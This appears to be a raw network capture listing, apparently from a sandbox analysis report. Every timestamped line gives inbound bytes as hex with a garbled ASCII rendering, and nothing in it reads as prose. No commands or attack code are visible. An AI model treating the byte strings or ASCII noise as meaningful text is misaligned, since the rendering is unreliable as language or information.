2022-07-20 04:06:50 UTC	1507	IN	Data Raw: c3 27 8f 31 b8 3c 75 cf a5 3a 29 db a0 48 dc a9 dd 82 77 1d bf c8 d6 89 3d 35 3c e9 54 8a 4f dd 1d 67 b3 71 56 6c e4 60 2c 8d f9 d4 e9 2b b6 41 78 dd 47 40 7b 81 e9 9a a8 f7 11 cb 1a ba 21 8c 2f 24 81 dc 7d 29 25 92 49 8a 16 6c 3e dc 82 4f 50 58 f0 7b 0e 95 4f 63 9a 9c 9a 9b 96 e3 e7 92 49 fe 55 fb bb 47 00 e4 fe 07 af 4a 89 54 ca 92 8c 99 19 40 5c 67 a6 3a 66 9f 1c 17 32 e0 20 f9 b1 f3 b6 de 71 81 c7 e1 eb 42 e5 3e 70 c4 00 a0 0c 2f 04 f4 e6 a6 31 be ad 9d d5 2a 2a 7a 72 fe 01 1e e2 c1 23 5d ec 14 82 01 07 df 39 f4 a2 7b c1 b5 c0 5e 08 56 c2 8c 60 fb 0c 9e b4 25 ce e7 8c 29 50 06 50 e3 96 c1 eb 83 e9 44 ea 91 5c 1c fd d0 33 ef ff 00 d7 ad 25 27 17 63 8a 9d 18 55 d5 bd 88 16 53 24 7b f3 18 60 71 d0 e4 e7 9c 01 d8 8e f4 92 b9 55 c9 0b 22 30 07 20 60 af e1 Data Ascii: '1<u:)Hw=5<TOgqVl`,+AxG@{!/$})%Il>OPX{OcIUGJT@\g:f2 qB>p/1**zr#]9{^V`%)PPD\3%'cUS${`qU"0 `
2022-07-20 04:06:50 UTC	1523	IN	Data Raw: 72 92 89 e6 20 20 6e cf 3f 80 a9 2e 64 3e 49 2f df 00 83 8a e5 ed 6f e4 d4 26 92 d1 2e da 0d bb 59 65 20 1e 7b 8e 78 eb 53 2e a3 79 6c f3 c5 27 ef 27 dd 93 b8 1c 1f 4c f6 02 ad 49 30 71 6b 6d cd 30 be 7c 67 69 55 6e 41 2c 2a 8c 49 73 25 d6 3c c0 54 1c 95 ce 0f f8 53 5b 5d d8 d1 f9 f0 79 4f 9f 99 c1 2c 3e aa c3 8e 2a fd 9d ec 26 e4 99 2e cb 91 f7 b2 bd bb 11 df f0 a9 71 bf 51 dd c7 71 c9 35 ac 32 79 2c e4 36 37 2e 0e 37 1f 4a ae 6d ae cd b4 86 2b 88 e5 3b b1 b4 fa 0f 7e d5 a3 34 76 b3 38 ba 31 c6 64 1c 2b 63 2d c7 04 55 7b 68 b6 ab b2 5c f0 c7 2d 91 9d a7 d3 1d f1 47 2e b6 1a 96 9a 15 d6 32 d6 f1 97 9d 93 6e 00 8f ef 13 f4 f4 f5 34 f8 ef e6 2d 2c 29 23 09 11 b9 27 19 e9 ef d4 1f 4a 6d d2 92 b2 a9 4f 3d 03 0c ed 6e a7 fa 54 96 92 45 f6 68 9e ea d8 89 41 f9 Data Ascii: r n?.d>I/o&.Ye {xS.yl''LI0qkm0\|giUnA,Is%<TS[]yO,>&.qQq52y,67.7Jm+;~4v81d+c-U{h\-G.2n4-,)#'JmO=nTEhA
2022-07-20 04:06:50 UTC	1562	IN	Data Raw: b3 ef 52 09 3b 8f 04 fa 71 ce 69 26 c1 6e 65 6c 47 fc 2a 87 8c 76 26 9b 95 fd d0 f6 4d 47 9e e0 d7 0d 14 80 48 97 19 03 8f 2d 86 09 fa 63 8f a5 22 c9 f6 86 27 6c f9 ff 00 68 81 46 d0 ec 98 46 da 79 14 e9 16 38 f2 c4 f4 c9 c1 c9 fc 06 29 2b 90 f9 7b 6a 57 65 62 a5 fc b0 42 90 a0 1e b8 3d cf ad 39 59 92 74 42 8a 49 1d b2 40 1e c2 95 58 21 7c 7c c1 fe e9 d9 fa 62 a1 91 82 dc 06 ca b6 71 ce 7a 1e e3 8f 42 2b 39 6d a9 d9 47 de 9a b2 d1 16 0a bc 6f 90 e4 6d 00 fe ed 77 64 f7 1f 9f ad 43 ba 54 c3 09 25 40 f9 3c c6 a3 e6 f4 e9 8c 52 89 1e 47 4d bb 63 42 72 c7 7b 61 b1 d8 d3 27 9d 99 40 3f 66 0c a7 95 ff 00 0e dd 2b 15 7d 93 3b a6 a2 ae e5 12 46 56 91 73 e6 61 d4 72 06 32 73 92 29 85 8a c2 30 f2 10 33 9f 9b d3 fc 69 ea 63 6f 2d 0b 64 ed 23 31 fa 7a 7e 15 05 c4 d1 Data Ascii: R;qi&nelG*v&MGH-c"'lhFFy8)+{jWebB=9YtBI@X!\|\|bqzB+9mGomwdCT%@<RGMcBr{a'@?f+};FVsar2s)03ico-d#1z~
2022-07-20 04:06:50 UTC	1618	IN	Data Raw: 55 e9 fc e9 77 09 18 3a c1 2b ab 30 51 b8 9c 67 1e f4 d5 b6 0e 69 45 b9 5b 5b 13 b4 e7 ee 19 63 93 9c f4 c7 ff 00 ae a0 5f f5 ce 03 f9 6b 9e a0 80 47 a8 fc 68 4f 30 c8 50 bf 93 26 3a 6d ce 05 4d 98 d5 7e 70 65 20 8c 0c 01 f8 8e 29 3f 51 c6 a3 6a ce 17 21 0c 62 9d 62 70 87 19 c1 07 07 9f 53 d2 a4 01 42 22 ee 93 70 20 15 c7 1d 7d fb 53 d9 5a 38 fe 5b 26 54 cf 1f 30 19 f7 3c 66 a3 91 81 50 93 13 96 19 0a cc 18 63 a7 7f ca 9f 37 58 b0 e4 e5 7c b3 56 65 a9 65 f3 32 24 da e5 41 ee bf e7 34 b0 91 27 cb c7 a0 07 20 81 55 e2 39 67 08 8a 18 72 08 03 38 e9 83 8a 55 92 30 a0 9c 7c b9 e4 e4 63 3d f2 3a d7 3d ec ac 7a 0a f2 97 33 7a 16 c3 f9 bf 75 32 63 07 1b 4f 3c 8c 01 cf 5a 7e c7 9d 63 0c 82 36 5e 70 48 3c 81 d0 e0 f3 54 89 49 94 96 90 20 e0 61 7e 63 ee 79 a2 17 82 Data Ascii: Uw:+0QgiE[[c_kGhO0P&:mM~pe )?Qj!bbpSB"p }SZ8[&T0<fPc7X\|Vee2$A4' U9gr8U0\|c=:=z3zu2cO<Z~c6^pH<TI a~cy
2022-07-20 04:06:50 UTC	1666	IN	Data Raw: a7 60 0b 85 23 24 ae 08 ce 7d eb 43 c3 cf 3c ba 54 01 a7 05 cc 61 8f 19 e7 1c fd 2a fe b7 55 25 63 08 e4 f9 7c aa c9 4a 96 ff 00 de 67 56 9f 0f af d7 49 3e 6c 36 a9 74 4e 03 7d ba 22 81 4f 5f 98 9f bd 9a 96 db c1 6d 16 f1 38 b0 0e 00 1e 61 bd 8f 76 4f 76 04 9a c1 89 64 f9 ff 00 d2 f0 cf 8c ee 39 e7 d0 e6 a4 31 b6 f2 3c c0 8f 8c 86 39 03 8f f1 a5 f5 ac 43 de 57 fe bd 4e af ec 5c ba 2d 72 d1 b3 db 76 ff 00 a7 e6 75 6b e0 db 45 5c 5c 0d 3e e3 23 93 35 f2 2a 86 ec 46 33 f9 56 c5 8e 99 a1 e9 eb 14 ac 74 5f b4 01 8c 49 70 f3 02 07 d0 63 3f 95 79 c6 2d 99 f3 29 cb 38 c9 1d 01 f7 f7 a6 98 e2 89 48 73 9f ee fc a0 8c 7b 77 cd 65 29 d4 a8 ac e6 d1 d7 0c 25 2a 31 b5 3a 71 f9 eb ff 00 04 f5 5b 2f 13 58 d9 5b 79 0f 79 a1 c6 e8 db 97 ec d6 4f 23 63 b6 73 8c 0f c6 9f 17 Data Ascii: `#$}C<TaU%c\|JgVI>l6tN}"O_m8avOvd91<9CWN\-rvukE\\>#5F3Vt_Ipc?y-)8Hs{we)%*1:q[/X[yyO#cs
2022-07-20 04:06:50 UTC	1808	IN	Data Raw: dc b7 46 c9 80 3b 4a a4 e3 24 64 fe ec 29 18 ed 4e f2 e2 29 8f de 3c 87 85 60 79 fa 73 50 ed 54 6f dd bc b2 03 f3 1d a4 11 ff 00 d6 fc 69 e5 a4 8d 72 c1 7e f0 e0 13 93 f8 62 a5 77 34 94 79 ac a4 11 cd 24 48 0f 21 73 82 24 41 82 7b fa 8a 96 6b 91 6f 95 33 c5 c7 40 17 b7 6f ad 56 93 21 d0 ca 16 40 09 26 22 dd 8e 7d 3d 0d 48 ca fb 11 44 6b 1a f1 c8 21 b9 fe 75 4d f5 32 4b 5b 74 1c 2e e3 68 49 79 09 6e 01 55 05 47 e9 4f 87 08 c2 54 78 50 27 51 70 c4 fe 98 a8 a7 9d d2 4f 2d ee d8 82 3a c6 a3 07 eb 53 c4 f1 c8 e4 a0 91 cf 4c 98 ff 00 42 4f 1d ab 37 73 78 ca 3b 24 0d 34 97 38 c7 ce 5c 0c 18 fa 71 ef d8 53 1a 24 56 3b c4 43 76 48 f3 1b 91 8e c0 7a d2 34 52 cb 27 06 41 cb 62 30 bc e0 9a dd d2 bc 25 ad 6b 4d 9d 3f 42 b9 bc 55 20 b3 4d 16 d0 07 d4 e0 62 af 5d ae 6d Data Ascii: F;J$d)N)<`ysPToir~bw4y$H!s$A{ko3@oV!@&"}=HDk!uM2K[t.hIynUGOTxP'QpO-:SLBO7sx;$48\qS$V;CvHz4R'Ab0%kM?BU Mb]m
2022-07-20 04:06:50 UTC	1856	IN	Data Raw: 03 11 5b c6 14 71 c7 61 59 7b 66 97 ba be f3 b1 51 a1 4d da 4d c9 f9 68 be f3 e7 9d 03 f6 67 d6 6f 92 29 b5 cb db 7d 21 19 81 36 ea 0c 92 e3 d3 8e 06 6b d5 7c 37 f0 6f c2 5e 1a 90 39 d3 e4 d4 66 18 fd ed f1 ca fe 0a 30 3f 3a f4 19 bc 35 a9 49 63 29 37 71 e9 ed f7 92 69 15 48 5e 73 d0 e2 a9 cd e2 9f 0f e9 6f 14 12 5c 49 ac ea 40 28 71 69 19 2a cc 78 e7 19 0a 0f a6 6b 9d ca 55 3c ca 9e 2b d9 be 55 68 7a 6f fe 61 6a 8d b3 ec fa 7c 5e 54 4a d8 31 db 28 45 23 d3 03 19 ad 28 bc 35 70 17 7d d3 c7 6d 08 e7 32 1f f1 ae 22 cb e2 96 bb ae f8 de f3 46 d3 6d ed 74 6b 0b 08 12 49 a4 c0 9e 47 67 24 2a 67 20 2b 00 33 8e 4f 4e 95 a9 7d 35 bc 90 8b cd 46 ec ca 3a 99 2f a5 da 8a 33 93 f2 92 07 18 f4 a7 ec da 6a 3b 7a 1e 4c f1 d0 e5 f6 b2 56 5d e5 a7 ce df e6 5a d5 35 3f 0e Data Ascii: [qaY{fQMMhgo)}!6k\|7o^9f0?:5Ic)7qiH^so\I@(qixkU<+Uhzoaj\|^TJ1(E#(5p}m2"FmtkIGg$g +3ON}5F:/3j;zLV]Z5?
2022-07-20 04:06:50 UTC	1896	IN	Data Raw: d2 c8 8e d9 24 8e bd 08 cd 38 c5 3e fc a1 b6 8c 9e 71 92 18 67 a6 7b 53 1a 34 48 cb 4f 72 5e 5e 9b 44 85 7f 4c 1a cd 9b 6c b4 7f 98 b1 c9 e6 b6 5e 46 e9 83 f3 12 46 3b 1c 74 a4 0d 0e cd a8 5a 53 93 d1 b1 8f a8 a5 46 85 70 7c b8 ce 70 3c c2 e3 3f 8f 6a 94 48 f2 3f 08 a5 3d 40 1f cc 62 aa ec 2d 14 f4 1b 14 8c f8 04 37 00 f6 07 3f 4a 5f b3 38 7d ca 65 8c a7 41 80 58 fe 19 f7 a7 08 65 0e 5c 64 2a 8e a4 ff 00 8f 34 c3 14 48 a1 e4 70 33 dd 58 e7 9f f1 a7 ea 4e 91 d8 47 46 65 cc b2 ca 41 e3 00 7c df 4a 74 68 13 91 1e 55 81 e6 4e 79 f7 a8 e3 95 77 6d 86 dd 77 63 ef 34 84 93 ee 7b 52 3c 1e 52 e2 49 25 e0 ff 00 ab e3 f4 f6 a7 7e c4 72 b4 d5 c9 57 cd 0c 12 23 17 cd d1 81 e0 7e 54 9b 36 c8 0c 8f 92 dd 95 9b af b0 19 ad 9f 07 78 4f 56 f1 d6 a5 1e 9d a2 e9 7f 68 94 9c Data Ascii: $8>qg{S4HOr^^DLl^FF;tZSFp\|p<?jH?=@b-7?J_8}eAXe\d*4Hp3XNGFeA\|JthUNywmwc4{R<RI%~rW#~T6xOVh
2022-07-20 04:06:50 UTC	1904	IN	Data Raw: 1a 64 68 0b f1 fb b3 ed 92 30 7e b5 1b e4 3e 5f cc cf af ae 38 a7 d6 ec 87 29 59 2b df d0 9c 5d 4b 1e fc cb 20 07 ef 11 20 38 f4 f7 a8 b1 14 99 7f 32 49 4e 47 b6 4d 37 74 01 77 79 66 79 41 c0 ea 38 fc 05 39 e7 8e 65 05 8e 10 1e 9f 77 1f c8 1a 9d 0a 8d fe 63 8a 36 48 54 95 09 39 e6 40 a3 f3 a6 f1 26 06 65 72 c3 f8 9c 10 31 fc ea 34 86 dd f0 7c b9 25 00 f0 b9 cf 3f 43 53 09 96 25 c8 88 c4 3a 61 40 cf f2 a1 1a 49 f2 e9 bb 25 85 3c bf 28 26 d4 20 f1 c8 19 c5 37 e5 91 8a 34 4a 48 39 39 7c 63 b6 7a d3 53 6c 8b b4 db b3 f6 dc c7 9f f3 ef 40 f2 f9 dd 09 67 04 91 e6 73 9f c6 99 16 b8 bb 3e 60 44 40 28 e7 8c 67 f2 e4 50 85 77 3e cb 7c ba 77 93 8f e5 d6 98 cf b9 08 09 1a 67 07 05 3a 0a 58 a1 48 e3 c8 02 40 c3 e6 e1 94 75 f5 aa d4 ce ea 2f 52 41 6c f7 3c bb 49 c0 c9 Data Ascii: dh0~>_8)Y+]K 82INGM7twyfyA89ewc6HT9@&er14\|%?CS%:a@I%<(& 74JH99\|czSl@gs>`D@(gPw>\|wg:XH@u/RAl<I
2022-07-20 04:06:50 UTC	1959	IN	Data Raw: 44 29 25 f5 cc 48 37 79 8c 70 aa 79 e7 d3 15 0c 5f 6a 4b 78 9e fe e3 7d dc 98 f3 a5 e8 59 87 52 5b b9 f7 3c 9a fa 1f f6 7a f8 35 2d c5 f5 9e b9 aa c0 4b 4a 7f d1 62 93 f8 b1 d5 d8 76 03 b0 ef 5e 75 7c 4a 8a 72 ea cf b9 cb f2 f8 a5 ca f4 84 0f 43 fd 9b be 04 c7 e1 db 78 f5 dd 52 20 fa 83 80 f1 86 e4 c2 08 e9 e9 bb de be 86 70 b6 30 82 39 c6 4f cd d3 de 92 28 63 d1 74 b2 52 23 27 94 99 da 30 0b 11 fa 57 37 a9 f8 8b cf 6c 84 64 52 33 b7 b8 af 2a 30 72 d5 ee 75 e2 f1 5e d2 56 5a 25 b2 19 ab eb 7e 6b 92 01 1b 4e 0b 11 d6 b9 cb ed 41 91 77 30 ca 72 4e 3b 53 af 75 64 dc 70 70 3e b5 42 c0 8d 5e e6 43 96 8a 08 06 f6 24 70 7d b1 5d 71 d0 f1 de ba b2 b6 b1 ab ae 91 a7 8b 96 06 4b 89 ce db 78 63 fb ee d8 eb 8f 40 0f 3e dc d7 c9 7f b4 87 c5 a5 d0 ad e6 f0 e6 91 3a ff Data Ascii: D)%H7ypy_jKx}YR[<z5-KJbv^u\|JrCxR p09O(ctR#'0W7ldR3*0ru^VZ%~kNAw0rN;Sudpp>B^C$p}]qKxc@>:
2022-07-20 04:06:50 UTC	2031	IN	Data Raw: 08 fb e7 3d 7f 01 52 dc 4a 03 90 a4 c6 9b 4e 18 01 93 ef f8 d4 41 00 e5 8b 0c e3 a8 f5 a1 ee 67 1b 3b bd 98 b1 ac 64 e0 c8 7c c2 47 6c 8c fb 9a 79 74 4c 83 29 20 f5 e3 f9 53 16 1d ea 31 21 c0 eb 9f e9 4f 78 52 15 24 86 28 33 c8 c7 eb 55 e8 86 b4 5e fc ae 32 49 61 dc 41 32 e3 18 e0 75 c7 e3 51 ec b7 75 25 8c c4 9e dd 3f 5c d4 8c f6 f1 a8 02 26 c6 7e eb 1e 3f 4a 74 53 61 1c 2d a8 e7 a1 cf 23 fa d4 1b 37 a7 ba 46 8b 0f f7 e5 8c e3 03 23 39 a9 12 08 99 f2 b3 b0 61 d3 31 9c 7d 3a d2 6f cb 26 e0 40 ee 0f 53 4c 22 3e 43 4a c1 73 f5 e2 9a 32 77 24 86 d9 c3 1c cf 8d a7 04 11 de a4 f2 ee 1f 80 17 04 82 09 ee 3f 96 2a 35 0a cf 91 3b 95 0d 8c 91 d7 d0 52 32 46 ad 86 94 00 01 c6 05 30 51 25 12 4c 58 83 24 58 24 e4 11 c7 3f 8f 6a 72 79 86 30 84 29 65 19 c9 03 bf a5 54 Data Ascii: =RJNAg;d\|GlytL) S1!OxR$(3U^2IaA2uQu%?\&~?JtSa-#7F#9a1}:o&@SL">CJs2w$?*5;R2F0Q%LX$X$?jry0)eT
2022-07-20 04:06:50 UTC	2063	IN	Data Raw: ce 76 f5 14 b1 db 8e 2b 3a 77 d9 90 3e f7 d3 9f 6a bf 78 ca 18 80 06 09 c7 3d 6b 3a 59 14 e0 83 81 c8 ff 00 3e d4 b6 47 34 f6 67 c2 3f 19 25 87 5a f8 ff 00 2f db 62 8e e1 56 fa 38 8a c9 ca ed 05 57 0c 3e 9d 6b d2 ff 00 67 8d 42 09 7e 3d 6b 56 70 22 db 40 ba 74 c2 28 a0 1b 57 86 e0 0c 71 80 05 78 97 c4 cf 13 d9 5b fc 63 d4 2f 2e 4b 4a 12 f4 b9 86 3e 59 80 e0 7f 89 af 68 fd 98 5a de 0d 68 ea 3b cb 5c 5c dd b2 b1 65 01 c2 ba 92 13 dc 03 5f 43 8a e5 f6 12 5d 6c 7c 5f 0b 7b 5a 95 68 49 bf 72 d3 7e ad ad 19 e1 9f b6 45 89 87 e3 b6 aa c5 24 41 2c 10 49 cf 43 95 c1 e7 f0 af 0f 65 8c fd f9 37 9e fb 6b e9 3f db ca de 45 f8 af 69 28 97 36 f3 e9 d1 15 51 c0 0e 0b 06 3f ae 2b e6 80 8b b3 18 63 f4 af 99 c4 36 e7 77 d4 fa bc ad 46 38 65 08 3b a8 b6 be 77 77 17 cc 8b 79 Data Ascii: v+:w>jx=k:Y>G4g?%Z/bV8W>kgB~=kVp"@t(Wqx[c/.KJ>YhZh;\\e_C]l\|_{ZhIr~E$A,ICe7k?Ei(6Q?+c6wF8e;wwy
2022-07-20 04:06:50 UTC	2167	IN	Data Raw: 4b 1c 42 45 8b 36 f7 3b 46 70 0f 2a 7f a5 7d 3d 33 b0 cf 1b b1 e9 da b9 ff 00 1c 78 6e 3f 19 78 4f 53 d1 e6 40 7e d3 0b 2a ee ec c0 65 4f d7 35 58 6a de ca a2 9b db a9 f3 59 ce 11 e2 b0 92 50 f8 a3 ef 2f 55 fe 7b 7c cf 98 be 09 b2 7c 4e f8 27 e2 4f 05 48 e0 ea 3a 62 1b bb 15 e0 36 00 ca 80 3e b9 1f 8d 7c ff 00 75 75 25 bf 87 6f fc 31 3d b4 d7 68 d7 22 ea d4 46 c3 74 6d d1 c6 0f 6e 3b 77 15 d6 fc 3b f1 94 bf 04 fe 28 5b 5f de ca 6d ad ad 67 6b 6b e8 70 4e e8 c9 c3 0c 75 e3 ae 00 cd 69 f8 ab 41 d3 bc 79 e2 8f 16 6b 5a 06 99 79 64 ec 1b 50 d2 3c e4 6d 97 d1 06 cc 81 14 74 24 12 c3 19 38 e3 02 bd 7a 91 f6 0e 51 e8 f5 5f 3d cf 9e 85 47 9a 3a 58 ba 7b b8 da 7f f6 ee b1 91 e8 3f 05 f5 88 7e 2f 7c 33 d4 3c 0f ac ce 27 bb b3 81 63 3e 70 ce f8 88 f9 1c 1e b9 5e 06 Data Ascii: KBE6;Fp}=3xn?xOS@~eO5XjYP/U{\|\|N'OH:b6>\|uu%o1=h"Ftmn;w;([_mgkkpNuiAykZydP<mt$8zQ_=G:X{?~/\|3<'c>p^
2022-07-20 04:06:50 UTC	2230	IN	Data Raw: 53 e4 2c 8c 4e 40 a7 ec 10 3e 78 39 eb 95 cd 2f da b6 c7 b0 6d 08 32 40 c7 4f cf 9f c2 a5 b2 a2 97 61 a6 63 b8 86 de 72 79 f4 a2 95 2f 24 55 3c 82 a7 03 81 cf eb 45 2b f9 97 66 b6 47 2d 96 6e a4 d2 82 07 22 99 d7 9c 67 eb 4a b9 e7 a0 fc 2a ae 75 72 d8 90 65 94 e0 13 f9 53 48 23 f8 78 fa d3 4e 0b 72 73 f4 a5 dc bc ed 07 f1 a6 47 2d b6 1c aa c5 78 4f c7 ad 03 77 42 71 8e c0 52 64 b7 40 33 f5 34 05 c7 5c fe 66 98 7a 8e c2 8f 7f c2 8c a7 64 c9 1d 73 49 c0 cf ee f9 f7 e6 8c e5 b0 31 9f a5 01 13 d1 be 0c cf 6b 7f e2 48 b4 cb cb 25 b9 13 90 90 c8 d2 6d f2 64 27 e5 73 eb 8f 4a fa da 2f 0a 9f 00 47 6f ad d8 bb 5c 9d 8b f6 f1 24 84 b4 b1 e3 e6 2b d8 10 79 c7 4a f8 4b 45 d4 9b 4d d4 23 9c bb 02 0f 0c 3f 84 f6 3f 85 7d cf f0 f3 e3 1f 86 b5 df 0b e9 d1 ea 7a cd a4 57 Data Ascii: S,N@>x9/m2@Oacry/$U<E+fG-n"gJ*ureSH#xNrsG-xOwBqRd@34\fzdsI1kH%md'sJ/Go\$+yJKEM#??}zW
2022-07-20 04:06:50 UTC	2246	IN	Data Raw: 5e 49 5f bf f9 fa 9f 6b 95 e3 fe b1 4d 26 ed 35 a2 f3 5f ca ff 00 43 bd f8 db f0 d2 d6 eb 4d 1e 35 f0 d2 0b 8d 32 f5 b7 5d c5 09 24 23 9f e3 c7 5d a7 a9 e9 8a f1 03 08 75 c8 e4 72 38 ec 71 dc f5 af aa 22 8e eb e0 d6 bc 74 ab 81 1e a7 e1 2d 54 ee b6 97 86 56 8c f1 83 9e 36 91 ed c1 af 2a f8 cb f0 a9 fc 19 7f 1e af a5 06 97 c3 ba 81 dd 13 03 c4 0c 79 28 c3 da bc fa 73 e5 7e ce 7f 2f 33 b6 74 f9 17 b4 a7 f0 3e 9f ca fb 33 c9 1e 1f 93 f7 92 2e 46 30 09 e7 3e 9c ff 00 3a af 24 22 36 de 92 7c b9 24 0c f1 8e d8 f7 f4 ad 39 6d d8 a9 60 72 d8 04 60 63 a7 bd 50 95 0c 72 0f 9f 0c 87 00 93 c8 ff 00 1a ee 85 9a 31 90 d2 15 90 65 8b b3 0c 91 9c e3 eb ee 69 8c 58 2e d1 c9 ed e9 c8 fe 62 9c 7f 76 a6 4f 95 cb 9c 6d 06 97 e4 9b a0 61 1f 76 1c 11 df 8f 51 41 9b 19 1a a9 c2 Data Ascii: ^I_kM&5_CM52]$#]ur8q"t-TV6*y(s~/3t>3.F0>:$"6\|$9m`r`cPr1eiX.bvOmavQA
2022-07-20 04:06:50 UTC	2342	IN	Data Raw: 60 d7 d4 7f 0c ff 00 6a bf 0b f8 e7 ec 96 7a c0 1e 1b d5 e5 00 6d 95 83 5b 3b 7f b3 21 3c 67 b0 35 e6 fd 56 b4 63 cf 6f b8 f7 7e b3 85 ad 3e 4a 53 bd fb a2 bf c4 6f d9 67 c3 9e 2a f3 6e f4 43 ff 00 08 ee a4 49 7d 91 82 d6 ec c7 fd 9f e1 fc 3f 2a f1 2b 8d 47 e2 27 c0 b5 7d 1b c4 9a 6c 7a e7 85 e5 ca 9b 1d 42 31 75 69 30 07 9d a4 e7 69 c7 d0 d7 db af 1b 6d 43 c3 a3 00 ca c0 e4 30 3c e4 11 c6 2a bd e5 9d be a1 6b 25 b5 e4 51 5c db 48 a5 5a 29 94 32 91 e8 41 ae 8a 58 c9 72 f2 55 5c cb f1 3c 3c 46 4e a3 3f 6b 83 97 b3 9f fe 4a fd 51 f0 0d d7 c2 1f 00 fc 56 91 ee fc 07 aa b7 80 fc 4c e4 3a e8 ba 94 b9 b4 99 cf 68 e4 1f 73 27 a2 9c 81 e9 5e 67 e3 df 0c 78 bb c1 17 e9 a4 78 eb 42 92 da e1 08 f2 f5 26 50 ea e8 39 05 64 19 0c 0f b1 35 f6 7f c4 3f d9 17 41 f1 0a cb Data Ascii: `jzm[;!<g5Vco~>JSognCI}?+G'}lzB1ui0imC0<*k%Q\HZ)2AXrU\<<FN?kJQVL:hs'^gxxB&P9d5?A
2022-07-20 04:06:50 UTC	2358	IN	Data Raw: 2f 71 af 7e cc 5e 32 5c 4d a1 4d a2 4b 2e 49 92 10 f0 ed fa 05 25 47 e5 59 69 fb 36 fc 22 f1 9c 48 9e 16 f8 8d 25 9c cf 92 21 ba 96 37 c0 3d b0 76 9a f9 d6 7f 2e 15 db 77 a2 98 c9 27 98 d8 82 3d c7 ad 56 f2 74 d6 71 e5 79 d6 f2 af 5d dc 81 ef 91 4d f2 bd 2f fd 7c d0 ee fa c7 ee 76 fc 99 ef ba c7 ec 35 e2 08 f0 fa 17 89 34 cd 5d 4f dd 12 86 8b a7 fb 5c 8f d6 b8 5d 5f f6 5b f8 9f a2 a3 b8 f0 d8 bd 55 24 13 67 3a 39 fc 89 07 f4 ae 37 4a d7 b5 7d 22 44 7d 37 c4 f7 56 84 72 be 55 c3 26 0f d3 35 db e8 5f b4 17 c4 ef 0e b8 7b 7f 10 c9 7e 8a 78 5b 9d b2 83 f5 c8 26 b3 51 83 5e 66 ee a7 2d f5 69 77 67 9e 6a de 09 f1 4e 89 bc ea 3a 06 ab 64 13 87 32 da 38 51 8f f6 b6 e2 b9 ff 00 30 16 c0 24 1f ee 9c e7 15 f5 06 87 fb 70 78 d3 4d 7c 6b 3e 1f b0 d4 50 1c 33 46 1a 32 Data Ascii: /q~^2\MMK.I%GYi6"H%!7=v.w'=Vtqy]M/\|v54]O\]_[U$g:97J}"D}7VrU&5_{~x[&Q^f-iwgjN:d28Q0$pxM\|k>P3F2
2022-07-20 04:06:50 UTC	2444	IN	Data Raw: 7b 14 b6 e4 3e 57 96 27 b8 e2 82 86 5c 33 72 07 f9 35 ac 71 15 a0 ad 19 3f eb d4 f3 ea e5 98 2a fa ce 92 fc bf 23 e5 bd 73 f6 2d 17 2c e6 c7 53 d3 e7 eb 81 2c 2d 09 fd 09 15 c3 5d fe c6 3e 25 85 e4 c4 36 af 1c 6a ce 4c 57 80 e0 0e e3 72 8c 0f c6 be cf d4 0b 29 e0 a8 ea 16 9f a3 5b c9 bc cf 21 12 ab 02 ac a4 65 48 3c 77 aa 96 22 52 8f bc 93 f9 19 d3 ca 69 52 77 a5 39 47 fe de 76 3f 3e e3 fd 9b bc 6b 78 8e 6d 34 e9 1e 28 49 df 35 b9 12 63 d0 10 0f f2 ac 2b df 86 1e 36 d1 58 f9 b6 d7 91 6d ce 49 8a 45 1c 7d 45 7e 9d 59 58 5b e9 d1 98 2d 2d e2 b6 56 f9 9c 46 bb 72 7d f1 44 ec 24 70 a4 82 0e 09 cf 23 8a cb da 41 bb 72 7e 2c e9 96 06 ba 49 fb 6b f9 34 bf e1 cf ca f9 17 c4 b6 6b b1 e2 69 3d 7c c0 bf d7 06 aa 8d 5a e6 35 71 71 a3 c5 21 cf 3f ba 23 f5 15 fa 93 75 Data Ascii: {>W'\3r5q?*#s-,S,-]>%6jLWr)[!eH<w"RiRw9Gv?>kxm4(I5c+6XmIE}E~YX[--VFr}D$p#Ar~,Ik4ki=\|Z5qq!?#u
2022-07-20 04:06:50 UTC	2492	IN	Data Raw: 23 1e 3a d1 b5 28 9c 81 6f 7b 1c a4 ff 00 b3 bb e6 15 fa 59 36 cb 8b 78 e5 52 a5 65 40 c3 dc 11 91 fa 1a e7 9c 9c 6a f3 7f 5a 1e fe 2e 9f b7 c0 45 3e cd 1f 9b fe 00 d5 cf 84 7c 6d 65 74 24 c7 d9 ee 40 91 4f 04 21 6d ad 9f 53 8e d5 f7 bd ad c2 4e 91 ba e2 58 e4 40 72 3a 10 47 5f c4 57 c2 3f 18 7c 37 ff 00 08 cf c4 8d 7e cf 1e 58 fb 43 3a 31 ce 36 b1 dc 31 fc ab e8 4f 06 fe d0 7e 14 d1 fc 03 a5 8d 4f 50 95 f5 28 a0 54 7b 5b 78 59 dc b0 18 f6 18 e3 ae 6b a6 a5 3d 7d d7 73 87 0d 53 eb 18 18 fb 45 69 2f e9 9f 3f 7c 4d f0 fc 9e 0e f8 89 aa db a1 31 88 e7 69 e3 fa 16 dc a0 d7 d9 df 0b fc 49 ff 00 09 47 82 74 7b f0 43 b4 96 e0 b8 19 fb c3 2a 73 df 3c 57 c7 df 19 bc 7b 61 f1 33 c4 c3 51 b2 b0 96 ca 11 1a a6 65 20 bb e3 b9 c7 73 59 1a 4f c4 4f 12 e8 3a 52 69 7a 76 Data Ascii: #:(o{Y6xRe@jZ.E>\|met$@O!mSNX@r:G_W?\|7~XC:161O~OP(T{[xYk=}sSEi/?\|M1iIGt{C*s<W{a3Qe sYOO:Rizv
2022-07-20 04:06:50 UTC	2540	IN	Data Raw: f5 ab 1b c9 60 40 d8 07 4a 82 64 1d 81 19 e6 ad 34 47 51 22 6c b0 00 ec 1e c7 ad 38 c7 9e 49 de 4e 78 f4 15 1c 7c 36 47 51 fe 7b d5 a8 e3 ee c3 ef 0c 81 ff 00 ea a2 f6 2a d7 46 4c f0 e7 91 c7 15 59 c6 1b 06 b6 2e 80 54 20 70 7d 05 65 c8 3b fa d6 97 be a7 3e d2 b1 0d 2b 75 a1 be 6e 29 30 47 4a 92 c5 fe 2c d3 76 8a 73 75 a3 1f ad 50 09 41 3b 96 9d cd 22 f5 a4 21 a4 77 a3 9a 77 bd 27 5e 94 8a 4c 07 bd 1e d4 7f 0e 68 a4 31 38 a5 a4 cf 73 41 07 ad 00 6a 69 77 12 d8 da c9 71 03 98 e4 f3 14 06 1c 1e 06 6b e8 2f 09 f8 ff 00 57 f0 be 89 e1 49 b4 dd 11 75 5d 5e f9 2e 24 30 c7 1b 12 54 9d a5 c8 5e 72 40 eb 5e 1b a7 43 69 6f a3 c0 f7 51 c9 3c b3 48 7c 9b 75 f9 43 67 8c 93 d7 1d ab ec 